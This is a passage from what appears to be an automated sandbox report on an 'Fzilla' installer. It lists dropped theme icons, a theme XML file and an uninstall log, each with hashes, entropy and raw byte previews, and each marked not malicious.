Preview:	.PNG........IHDR...0...0.....W.......IDATx.b.....`..\...+[.p.s.~.={..zc.._.._..#s.Ul......lll...........8..........1.fEFFr....KJJv...j.H. Z;.1$..33.r3.c;W....'..'03...a........j......_4.N.{..%.p....'O.}..wQ.\......xxx..}...^a..Z...1....)..z.8N.CH..c..k.}.....cccb..H..P...y.M6.E...ss.../>..Sg.).E.K[.nm.....0p^.....bQ2.....5...5....h.,jnn..].].HF....{...R....0...A.A...,./x.....!...<....RQ..<.....1B.XH.....>....\.t^.^.".o\..W.B......I,.:..B.8.....twwI6..j@C.......".v...z..@.}.UD...y....FY.t..Z.Z.,YM.M.....<......L!.JCC.....Z.}..=r\v..%[6o......{.../..".H..-!@H.v:6>f.7n.$..@.p.B$d..Vwtl..O y.....9l%H.0~^...WZr.\|^.:..".do7..P.0....G...J...s.a...QMM.i.....x...<.\|.....TE...3o.}.).y..Y.W.1../..B._.$.B..,...Z..C....F(R.G....\V.8..[..$..x.c.z...I%.Z.]`..mN@.J..H2NQo.........Q.%.m6.{].%...Fs2....9..E*q]....!B..$...Z/..:O!..h.C4.....)<=..z.......H.M.0I..>t..3.s.v.n....C..5..v.<...Ak.+...6.!.E..A...=..Y.@)...LH....k.jl.K......>[6.....}@'..v.E

C:\Program Files (x86)\Fzilla\resources\tango\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3078
Entropy (8bit):	7.930833999366633
Encrypted:	false
SSDEEP:	96:5EHMnuAX23rN/T5S9ZoPcGiqiDTJgCGHD:5EbAX23rN/9S9Ie5gCGHD
MD5:	9D60501A8CDAC3AB34C8FCA4111F326A
SHA1:	BC6FD46CC7BFA1A1D741D8399EBB2DB033DD2B62
SHA-256:	C399A092C5157509775552F82E803771823285DB96D97F1AE23956738A643249
SHA-512:	E1EEBFA2DB3BFB6688DD7F28C99F387CB9DA40725CF2E6DE841E1F674D30F13626FAD2548DC96C6674C11FD73C65FA43B64066CC3F8D3FF41BAAF661F732C839
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....,...U..Y..m;...\|.m..w.c..;...Q1..w..<..b..UY=...uQ..~.....xwj.!.r.a...p.e...m[...m.E...k.X\..C.C.....\|..x..'....L....1.v`./.?...x.k..F....=.....g.r.L6.....;H.Gp\..n.ym,.tB...G.I....f0I.....@}.}.o~..Td/..Mo]\._.?.. ...U..r..L....^[..s..E..V.y..?.3?..l......_.b..x....x....l7.....f .wj#.xr)V....3.FfB.dD.Y...S8G\|{.F........O.-o\|..w...w'...8.....\|./...sPQJ.l.m....q.~..U......g....B......_..#.a.]*...=......3b.......S....V..(i....%.R.. ."..V../.........,..c.]..3....TovI.c..".z....P8...Q((.........<.>X.....Ji.e+cm........../.....SkR..:.A.2...Tk......B....h).!.m.0/RN..?.J..{8 .........P.D.K.V.............m@.S..d&..'\.3.n......A.s....<@..".".uy....=.M....6..\.}.PHgOV..#Z.i..)..P .$.....<.!....R..7u..@.+$........D>.H.0.qd.B.g(....p...i}...w.....R...i...d.........(.$..'QeFqx..9Qbe1.Z.hm...E..bE.7%...x.9..ID o..^B.....J.8......T.P..E.;Z$.bfk.ffb...s.ZV.....k..L..K...17.{<q....[t..P.....

C:\Program Files (x86)\Fzilla\resources\tango\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1390
Entropy (8bit):	7.810703822240352
Encrypted:	false
SSDEEP:	24:FAQZHazTuRfJSnI0RQ3ThXdw2anL66jR7nVwaq50CYKqXf0tEXuHhL60DC1:2INJSILjUPxq5nYK8f0t7H40DG
MD5:	9DDDFFB20FA0247020676B3B7A1B7924
SHA1:	E5864D06F8F5F9A7A4F16BB5A091A5B1BC7B04CC
SHA-256:	1268FF3542A98272B712FAB43D6FB0FCB11BDCAEA087E7F336D1E5803AB87D23
SHA-512:	C1D2E3ABAC927D3460472DD084FA4E0208B23A4A7E69E47A93DBEDAE279D841CE0CAF1E5DF08518152FD0B774305EAB27F5A8D5622276C53FE1B7D589829C57C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......5IDATx..X.teI.......=q2..Q0.m.m...m....M..._.........7.p..7..J..%.V.x.oXwd.RE.pb..9.m....@].f..d..M..!.....:X.d.9 ...V.Z...J..........<.7.:,........G...<a.4!@..R........sv..fn..\|...$."...Hd"J.\D,...........v.4n.p<.....R..F.B.F......5.....s..U.r.(..H....J.XmV...#DD.&.hw.\.r....s.h.Y.f.3....l$.7n^s....Z.n.....g.^..[.\.K..C..l....k6.`.....+....(Q.l..=.5j.`...?R.(.(c.P[.-f.\..'.3....n.IH.5=.T..\|....c..(..)gT..t9...Z.m....~.....-Z..%.........e.Tj...N.....S.T..P..Q!./_......w....^%00.L.~.......f.p45.j...e.0r.p=n.....lH...H>6o..!.......g.^..O.2..G\\......H......`.....1..j....1...o..~.o./T..f#.@d..{..m.#F..ILL.....5k.g..m\!...,Wr.U.o..#...]....B.I.H:.....>.....9$,.....@..\..u.<..:..+......*j.F...?.f....;. .. !!..{...Y.xq..+W&...={<.B.......9.,...AGi0..?..<.7Z.l6...L.{t.DDG..s..].....d!.p.gXx0.Bd.Y......{..E.....X8....m.zw.GG..v...../..o_.?.=y..s.pN..G..:..W\...R{`.v...v:....ggtL......m.......7..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2263
Entropy (8bit):	7.888034327189823
Encrypted:	false
SSDEEP:	48:98SAju8Kem+/RNtZm+f6Hdm2tsUcxHCOYi55IIlaM:fAju8jm+/RNtT4w2tsUAHCOYe5IIlaM
MD5:	BA3DF3C0BBE4CA44738E96B70375532A
SHA1:	3D6914353286A62D1951DE5B44E411F5DFC8F612
SHA-256:	A1CBFA558A824E8E799F4EA0CA9CE1C8787F107BDED6A72A3F60C32B6B1D8F6C
SHA-512:	F2FEBF0752B10594CD485BD521DBE10BA69A615E28CCF00C98657587A05E7BD9F5D78FFC8C2866AFAC7E877E6C0A4B1750614C7EE2714EA76ADD1FADA20200EB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....k......$.c]...m..l.m..m.xx.dw...u.k.....Uo5....."..].q0...~......#Ed8...... ...".j8'..v:....L.....J.......E-.~...<..'..m[..t.R.....C...j\........V+..\|.c..]......#2......E...1.8.l6.y......]....>....4.?..~.u..............o....?...(<?. ../[r.../.###.._..Z.q]0...EQ8..gm.\|..l.....S,.X.\|.i4......\..k-.....;v9...I.Di....k....(....z.W...=.....h0.z.>'.h.F.B..W...Qh.z.;m+#y.5..'.mq..{y...^..E.......BE...>.J@...hR%....O.8Mv~V...Z................9....D....."...R.H....&..yir.I.oi.O......c.....E..\|.DzwU."-5;q~Z\:W....B.%....)@..FG.!..cE......J&..D..BB.............6x...q.:\.B..H.:Kd".}..R..Z..UL.B.g......Zc.z.B.^%..T..&'..1..&......k'J).....x5X ..H...FS..q.R-.6].&.mH...#..........".'...$...ZA...0.]$!.,...i..N,.2.j.Z}.O..0....r....#....G..%2..X.c<a.ZF.R.:Y..-.^.&.S....F=.bi.b.@.....o<.$.-._...l!.$....(..C....x$._q6.]x&...\..b ...T.....ST..Q..s....K....w....H..\|b!.......J....`....g.C8.S8...{.Nl.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3129
Entropy (8bit):	7.90590193685731
Encrypted:	false
SSDEEP:	48:Le9Z9J9KIDb15a14Y+enP33yiI9kKqqw+HZ140TKoWnY7MldA7UP7x8KLpeQ:Let5DR43y99XT5pTKoWnmMMit8KLp5
MD5:	BBF3CD5FBE19966EA81451A29EF3E623
SHA1:	2822295B0AA92A0EF995940E4AF70CC06C4000AF
SHA-256:	757A7823E97501926C27AB77FFF344C693FC842896EF35F2CE8985942B1FDAB9
SHA-512:	07A12BA043AD4A0657CA0617E693F5479D4F64D424720CD16A9E7046E384014739FF9B5790B660E8105515255EB798ADC57B8878ADFDF505B5A7A82B19D13110
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.t.H..$c..4\................\.^/Wn.fY...v.......e.(Z.o..X....G/..{.}....h.4....9..r..Z{......Ikk.<.6.....V.w.}w.....w.u'?.Lo.O.t.!:.H]..;.^..i..............c.....e.4.xk..5d..$........a...uD..B..;4.M'.".........;....`($5ZbY..+....s....q............K..P.@].ZD.K@...;..f4......Ioz.U.x :k@..t....9.TV.4\|...yf.?#..@.....[.p=.. .......S0...<06..-.....I.O......s.Q...!....:b...#:fPR`"....L..8N...@.G.......4...T."...4...Of...R./..r.S...F.?..X....8g.B.........<n...C...RI.ae3.d"...J..(...Px+(..X..L...S.....q.U.)..3...\.8L.&.m.!0`......o.G..5.[..H.....!...>\wO.!.(..{...rL..%.unJ..EEpl.x....B.[w.u...h..a.rDS.....1.y...vUY7.. 8...Aj.8..#.O>.d.G......D.h.r<..B..&..0Tw5=.....5..........p....R]Q.....]G@.i........X8.d2..g.~./".i.Y(*DEi8......KV.!.L..5.....]...A0. ..EaE;bE.....z.`..b.AU..Y....Z...pA...<...i00..Q.v.@@.j.`(.]..'....6..aI......uXt.a.N.,.B.u.dT0..8xg.)..4...".T9....@..h...av.a.w....T.#....Z.2..u.......

C:\Program Files (x86)\Fzilla\resources\tango\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3213
Entropy (8bit):	7.911617835298954
Encrypted:	false
SSDEEP:	96:E43eHy/MWl3Qen0eqQDYGGqw35lemxDpRKU4ek0X8m+:H3UyU4gew2VO32mxDppam+
MD5:	921395EB0850E453CD56C468CE2A28E2
SHA1:	DF4F292AE783C2CDE7E54D7D988BEF671080FC93
SHA-256:	249A51F84DFAF1B86E10E08C7430C18AFFFB6BCFBE09B86EBC6B727D7E6F3FF4
SHA-512:	8F0DAC6BADFC43F79139D4C6A70EA73CD4725073E32FEB624CFE26C4F49EA84BE9AFBCD1BC224637DC4A2287EC843DC23A6B689F4B23E6DA1009C69D3E0087AC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......TIDATx...t...._."S...t.%'L......ef\|..L..sx0...'3cf....V.....e.xy.7.u.~E.....E..V5...Df-....Y`2.p.%)2.=+ ..K];..G..6./z.g...?PUZo.Z4Z...eA-.4L"......GR...1....Ma.........7=......o7x....}0v.....^y8h}..../_>.X4w.Q.. ....yS......#..;.K...O_..R..m..D..mx....G+.....'$..'.y.X...?......s#/^.... .7......B..p.$..,gE!..k...w.X.@,-...cuW.W.dU.%.B..#.......}!.....\..........A.?.^..{.P.FW....=......]..=..O\|{...;...M...{....o.{!.ZS.....myS0.}...X.....z....&...\@......1.."l..w..mx.yeas....'?~....#.....Z.}.Z.T6'ZA..y..K~..BS.-..}e.......\...A.z?/.QN`zppA..3h.-...qp...w;.ue..-o.M.....n.Q....T.B..>.........(/"@8...R..BH...SW...`..s....................9V,j..5..^...&.l~.z.+...K..z_....us..=.H;8{...jm..,).fW.T..9.....UJSc..P...@...n...t.c(.A"...1..."D.t.......u..Q....M...3SS....N...U&$....2u.......\|...M.@........{..3.w...Y.5......d.c...\MN........$*.:.)'..8.T..Pz....._...r.@..V'..S.2H.5Ua..C....c...1...'.......T.=......h.)..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1947
Entropy (8bit):	7.843487140480695
Encrypted:	false
SSDEEP:	48:u2zjNFcZSef/TDVlR5L8X73lMl2sw55iNUMP17jNc:u2zp+ZSAhdQJMl/45i597i
MD5:	6A49987F2B96B59D2FC706332F2266B0
SHA1:	16C8552344FFEC1410E5CFA297A240B44B4EF24B
SHA-256:	729D421F2408A01474619BA5B29CA72A11B98217EBC42E21EC719C2A5451EDCE
SHA-512:	EB6508086F19724FCF31F3F79595B44983A6B0386E08C4FBA2A56E4C50DF8CD5A32F6CB43C5F0B3D5729EDAFB18A3BB2C5873A61CCC0247855DD28E866AECA48
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......bIDATx..Y....l....03333333.(......+.....L...e.$+.s..ko<..S..z%yA.V.'.2...W..k......Z...u.9c..N?...`............!M...M,,,\.g?....\~......ann.i...$\.'.k.....!...^....{...-.$t.e...<...N"n.i.`..A....._.......!.........D...'b....2/w.$I..X]].H....A....<.y.{...v.4..?...2q......m..r..t..\.+.-...%/y.....E.E..b.$...}...Q..>....O\|.9.z...........t..@..p....4.7...'.{...e...7.@F.{..a.v....&..H..r.c.....\|.`y3...XZZ...8t.(c.....n. ....N.z....^.Y.O..o/..e..5....I3..R`.............M{.,.iL.{...?.W'.&..-g........+...+.........._Yl;\..8h.......o....v....@......_..........\w..Y...`....f..A..i.........U.e...^.4....L.i...3,......hW%....+++.....!.........<W..0Uuh....e.5.......;..J.1m2!/.....1.=2V.k....D.V..f...B...A...,...w:P.%fff...}.q...]%..y.X...a.i.....@\(Y..S.....k9...U.~=..jZZ...+@k."....0N.(.v...z.!..6h..\.e%..wmd....=:Ph.a.`).;F.+\.+...<....U..p...f../.)m7An..59X..5...N.RY..k,E..t........=....HU.Z.Io....Q...G?.p3..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.64523889523795
Encrypted:	false
SSDEEP:	12:6v/7MD5TGTYY8/yi37n7BLX8p5lRvThVA8dSk5aDFPu71jBn6sdSSGt3h15wq:BlTvZb7nFsHluoax0Bn6sYSQkq
MD5:	B4800FCB5C8C98703E7F285699CDA3BB
SHA1:	AA326363A5B4E692F28EC561B68B17AF80112394
SHA-256:	48506E6C4A09E27100C0DB5C789D2EB1780DE58EB5EB752843600D5CE31F6327
SHA-512:	007B67005DFF1AA7108054882CEAA17BEDEEAB03396980DEF5307689852E0E799E11E50C5BCC7D12DBA47B9D9E809E03E869FA14BFE10702C9D7AA7EC198C83B
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....oIDATx......V...o.i{m.m/...;.\0;..y..N.l......l.Us.k\|._.5O..,.U...^.^'.>...e.c...+ORB..}.;[.....6.[...U..FnZ...>...~#. ......!...(....7..#@}v...M4....Z.c.C.I?.."....`.:.m.qd...>'.y.?@......= .=..3g..in...$..Y..$9{&...U.....L........x...4G..}Hp...8P7h.!dA .#.& .S...=o.....2..G..o.o..m.M.0U.W..V`.....g..;.w..'._...Dz......l.......q....@.../.@S.hz..8............(...R.0e.}F...&..J+al....W.;?q.......s]E.....0.Ut.?.'..........8.....7C@..).Y,..H..%.fh$.d...,.....k.c..b...i.x...........oj@.2K..&..`..Te.(.<...&..rJ..X.L@a.&..P....$.6.fWh......"..6..(.^.?..:.(.D..G1L....h.P. S.(.F...#..R.x.X...1.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3173
Entropy (8bit):	7.932886055544201
Encrypted:	false
SSDEEP:	48:t8JbBKKxbmOCJmjz5JuVUjxmOKV4JxfgnUmcCxjTALHHxnRbD5mP4kMs3qMXUQxW:WJb8KxGJmjuxQvf8lcEAbHLbDcU0ZU
MD5:	827439559343AC93A533E316063FDA46
SHA1:	8B9338C600A4A990A21CB34D8D5CD4AC72876033
SHA-256:	613A8D75E343673290CCF90BBBCE2618351B96145B84B74B75F390A87596A9E9
SHA-512:	6C4B9F2F8A3D19FB9BFA80F1925D5B6886178597C812E9AC129B416527F62065F35F3DF9DC0A8AFD19F177E59E58B48734F6C19CEA864CFD17989609095E5CD3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......,IDATx..Y.t.8.v..m.8............-33.0.lwxJapl...Nt....l..}.)...\...n.}...pII.1..v...sX.%.\.Y....[..Y$.ht....x..+.{.wuu.....q.\..d.-..}.XY......UQ.._4..W_;....+..Xu8\.z.W_.../j.Z..i..T.Wl@...2.y.9g.7...;`.....T...]........zU..+.Q..t....q..H$..S..`.2...`i.}C.w'.(J...+......X..H.......D.s..9..5a...^..O..#....Tnq.&.....(....( +.........n.^....!.$..\...R'.8VpH8.....a..-As.,..e7.D.4.....>..C3.._.:...r..5.5...A".F......GU..\.k.n...`..=...s.fr:v.v{.W..k .Y.Y.x<%I.P....#.L.....w.d.j2.0=c"..@.....P@..c..6.m.cU..g..Z..T...=.(%E...;.Pu}....'.}.......3$R$..I...`-H.\..4....ZZr..... .Q^V..0%)......m...PE.]U.<YXT.q....~.4.p..........0..r....I.V...z.l.....+..a.Ux..%..T.....Te..b2[..C.X<..P.{p...........y..CBU9....a..3..3S.T.@...^O.....QVV..J..]&.P.l/.<.@.bb^.:..e.h4.Z.2....G.K...D.DU.h..+..f.@s..(....\.........@..5.[.D........d..T...CX.B..z.....P..D....%\|q.@.8.y.},..M&.:Y!.......w.X/$p)...XL..#,@...G.,...l...X...".

C:\Program Files (x86)\Fzilla\resources\tango\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3700
Entropy (8bit):	7.93242842780909
Encrypted:	false
SSDEEP:	96:nMrGWYGc1WwoV4BxcbizqJWjwrp5d6JIFfw+:nMw1HoLb8qc0V5yIFL
MD5:	348FCA67F17E5E83D0126DCFEB12B782
SHA1:	AD4BE19618E2C6DD460A83B092CA6C105DADCBD4
SHA-256:	AF74F84098611387D43535436D4768E2AA3EE910C21F26328295EF3443891805
SHA-512:	2D62AEE1D0E13C16DB42364B8F71FE466B44160DAA4375D9BC457BAB7EDADAED50BA28BE4C1C66A197F745E2AB2A9C381D91391F15D85E8E15A53B4917F354BA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......;IDATx...t.I...jI.d..S,;hg..af..,.0C...cZf..e.a.pp..2c....uW.J..DK.e...S-........o..~.\|.C....y....;<.s.W..../...C%.W....X...{..s....s...e=~k..{>...~...[.!m..!.gA......YH..%.!..P....-.-..1@.......B......#F....5}..G...47w...z..y._....d@}........~#.%K.......B..., ."6`!.l...?.(....o..sZ.;.\..I.....F..d#....zBaI.....-..{....d.....?6o~...~.H.....de..v..e ...dB\|.-X..............K.s..w..m<.j....-.......DO.K.M'..<.:%.&1`..cx...H...9t.!..-[.\|..Pmm ...J%..... .@..c..i.7..3...P.PX..F...]..............GAA....%?.g b2\|d5c.X.i+=..`........e....C.I...l\....x.-..k..o<..\[;$)D....^...kW._...k.#.7?...#.O T...e.0..5.4..T..~..?......l<.A....-.7y6...5o.g..Y.L.Ehp.....b.P...FN..P4$.+.\....{]B.........!.T..>...v...Y..qj..:..Qb?`..../.n..'..B....nQX.GG(...R&..EUp....@.S.]..$8.....@+..:u...J..r.,.i..s.M.] .X..........0.,...5...T..........'j...NO.[n..7N.6..%3k.....c'hhj......k...G.!.f.$?..{.L.]KgPZ<...K..F.\.\|.55%....?..R..a...n.0.....r..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	7.9283984063588
Encrypted:	false
SSDEEP:	48:FmlNjx/2qMfRjwKXrr5VrqEp9Kx5VpyVeK0Pf25+LqTrv4tSZ6L7OAF30:FeNhYt/KlrbyVeKQf25+Ar4wSJ0
MD5:	6B99D53FCED3E148D3EC6DEECA0E4D95
SHA1:	407CBAAEE58505A77D85FAE858D9F9C93E9C3728
SHA-256:	D8D42A574006828DBE3C430D2035C5ED6367443F962DF20A6A8106CDB9A3AF25
SHA-512:	6F07A603CAC51B5481564FD90893E85AB20AC8CF371E53C22D864A79ED875C704FB4D1FC77F59D3ACF1C042160A6F3669DC0716D225109D8B6898D58F685300E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......jIDATx..Y.t.H....S..b.....L.?c......3/....-.b..R..vlk...Ig.z.c....H.\|s.7.H.........[m.O.8.>e....-..'o.J...J.Ke..............7...}.&o.sU.)..=...3./....#..y.....dI~..&".......K:;bO....L1....z)Y=.s...o}"'..0.....FZ....gr.....J,.../\|.j....=..?...........v..#.x..{.d..'7.~.....\_XR...{.QL.......@.....lJ......rJ.D..-...-X.w6..#l..o../..F.B\|G'.?...l....ng..x.[.~...>us..&B@.......,%.xi.m......Srp..k....Q. ...?.....).:...K3..k.hhx..d.=.q.......y.......jL:.d..^.wl..9.\|..._..`..T...k..<(..I...PV..9c....mVeN...&.....L..~5-lh.6$...J......K.0.DU..h.~.4V.G1>.....8...r..uo..g.....&nJ.W...4...r.l....x.(....4.M.C....H.V[.....z_.....@.[..8. ..IK..8.Lk.....2.H....f.........Z.!q.&q..i.*..Xu.Sd...0{tWL....t..5.@.i..V.+._.e&.T...~B.. .L.Q.V-...`....o..5/....._L...O..........-`5.I.j....@....\|.W...E.2.[./....m......k...G.YA8...x._...$n......\|"V.8..L.a...E.b......bB.H+.t..k3{a..#.M..S..Q.e.T...)w........K..`..8&o...d.0.\..V.x)E

C:\Program Files (x86)\Fzilla\resources\tango\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1843
Entropy (8bit):	7.8738847492957476
Encrypted:	false
SSDEEP:	48:DiqImLLnLvgPSTvIKvzzB80qyyPbW5fG+QSRlP:Dff3XXvm0qycafGsP
MD5:	D9E53E4C4EB2CBE6FAD2357F58C0F32A
SHA1:	6A8F3EC636BB4EECFBD50F5E5934B85BEAEC8A04
SHA-256:	2C75A2AE4A4ACA5E4434AF672386A2F30C21A86CF3580CE4E4B68CCBC80125BC
SHA-512:	C0DE3072593B941A69BD66A7A28F73A7894103861D41A1B808C187D00308DC4DE0C9EAFF996FD4DEACBA643E1A5C5BA72FC6F27B757F2382DD8BA199BCA7937B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...td...w.{;..d..m....m.....m...tl'.[U..y]/..gu...Z.:'..{W......W\q.v....T..)...dZ........M...0..3....a.0.RtC..@..4...%.$...i.i......G.@...;vo...e.s..e..?T.!86.....G....>.sr.{./s.... %...y..K..r......z..p..........."..C.V.E.....z.g....9'.;...........(..m.+p...y.N.sw.e.<3.}:<@.....U.L....[...".)..{.8.}.....Z=/.5.m..&....:.D.i$$....W.D.....@.s..>P....b.9.._......f~.8..[....@....%...p...0.5..."D.A.$.G...A.....{Lcg...N.w.i.....f..v.!e$`7.A.T.sz....+...Eh.d6.. C..q.l.....Pc..C2=.z..r^....+`.w.Z=.w....J."l.!H.YB.d."..q.......8v.....~L...".8....<..U.2A.Ie..d...0..`....g.^..w(.....b.9G$...,.4W,LO..;@.Nc@..A.YuF...,.W.j$..G.F.o......W..v...f..\p. i.e.....R.a.2H..t.V]....w.6.x..\|9.qF.r)vT.Bn.Z.T....U.....l....5.8z...x..>...y"b.....[.KO.!..m......i.0.LF.1P...g. .y......V.c........K..T...W....{bp.$...c.........#$....a....AY..P1J..".v%..7...........=s*3..!yU.`Y&zt.eB.....(`]...u^.a.Le....4..p0..`.A...2.#.&!..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.573388378416767
Encrypted:	false
SSDEEP:	12:6v/7YQawA9KZMHQ3/DM7PvqGowqiVdw7gwqUvlz5nZWpFJV:5Qa5tQ3/uPvH0iHyJW
MD5:	B1392720DE6F62CC053754418ADE5AD8
SHA1:	DDAE0F4376F3DCBE99A094C9A9410AFCDC0DABC0
SHA-256:	54906BBDC39B746A9F373B3F58E63B29B579BE017F434110EE47147849B03405
SHA-512:	7BC21473EBE015ECE58EE59AF5BF1B5669B0D17F8B92A73D5806D7997D85EFA82D729B68D51A0B12E16EB04C15011EB99CEF3E46F83EF04ABAC0B50466C6342F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......SIDATx....TQ....fl.(..."...... ..X "..a.H.%..@.........De%;......5....}..g...=..1?............)v...Mc..)..;W.......;@U..>o.f..qJP.OH.q............-@6......4c.... .J..U.?..M.`.0........{....kt...\.7.z.... ...).qE...{./.M.<a.QH.....r`P.....KE..s.Gt.........o]....;\|.0.....h...HL].1.S......q..vXc2-..o.....y.[...j.y..J....V/..%$....w.%....-.......)...P...2.......{a.."w..?{S~..s..y....>F..9.W.3......e.Y....y.q... .......V.\|.k..*.p.d:d9D.........o..T....r.......q6...l..,k.0..pz..]..3......].a\!.>....U...p.k..\|....I...g/]?..e.....'?.O(... c.tV^[..<}>...9@.3.A30000........1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\is-3N0I5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.108023931259979
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKioDIORtHFb8LdDLDzHMQ/oHUTUZBOHWXdQUGOH1QIKe:TMHdtAgr/Ofb8xvDzrgHKABOHW+LOH1R
MD5:	CF05DE857D2A5E3F2C0E1B75F3221BF3
SHA1:	EBE2DCDF0FC5387F6DB01F121D30235BF0A9E5CB
SHA-256:	7D0309CFFCC39770B13F13FB18023F08E8D6B8A8FC9E9E1F7E35B02516229DDA
SHA-512:	8235C8C75717AD627E545837BA0156039EFC93EA96843BD20976941A84507F2CA2397963A31F9623D8D58DA0746CF129ABC7BAD8F8DF30AC0F67CD364E184F06
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Tango</Name><Source>Tango Desktop Project</Source><Author>Christophe Meyer</Author><Mail>stombi@gmail.com</Mail><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\tango\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.108023931259979
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKioDIORtHFb8LdDLDzHMQ/oHUTUZBOHWXdQUGOH1QIKe:TMHdtAgr/Ofb8xvDzrgHKABOHW+LOH1R
MD5:	CF05DE857D2A5E3F2C0E1B75F3221BF3
SHA1:	EBE2DCDF0FC5387F6DB01F121D30235BF0A9E5CB
SHA-256:	7D0309CFFCC39770B13F13FB18023F08E8D6B8A8FC9E9E1F7E35B02516229DDA
SHA-512:	8235C8C75717AD627E545837BA0156039EFC93EA96843BD20976941A84507F2CA2397963A31F9623D8D58DA0746CF129ABC7BAD8F8DF30AC0F67CD364E184F06
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Tango</Name><Source>Tango Desktop Project</Source><Author>Christophe Meyer</Author><Mail>stombi@gmail.com</Mail><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	InnoSetup Log Fzilla {E1D44D44-2C84-4112-80AA-2DC406D85A11}, version 0x418, 148243 bytes, 585948\37\user\376\, C:\Program Files (x86)\Fzilla\376\377\377\
Category:	dropped
Size (bytes):	148243
Entropy (8bit):	3.4048166003804936
Encrypted:	false
SSDEEP:	1536:ild5JqLLkH/zFNn87F6xgEz6gvyHkZjhHOgX71/DEPRS56Q19X8rFqhQ6DqQfCXw:gd53UeE6sTHN3aLZuyzB1vvhd+tWfn
MD5:	44F70F64367F30ABB69DD2D10707A9ED
SHA1:	5F628D3E6B6A659AE1EE95BDAB49C639D17B3564
SHA-256:	9413BDE39E6824CEB29FF0358AA23CAA2960549B69530D57F5D4D27064BD7302
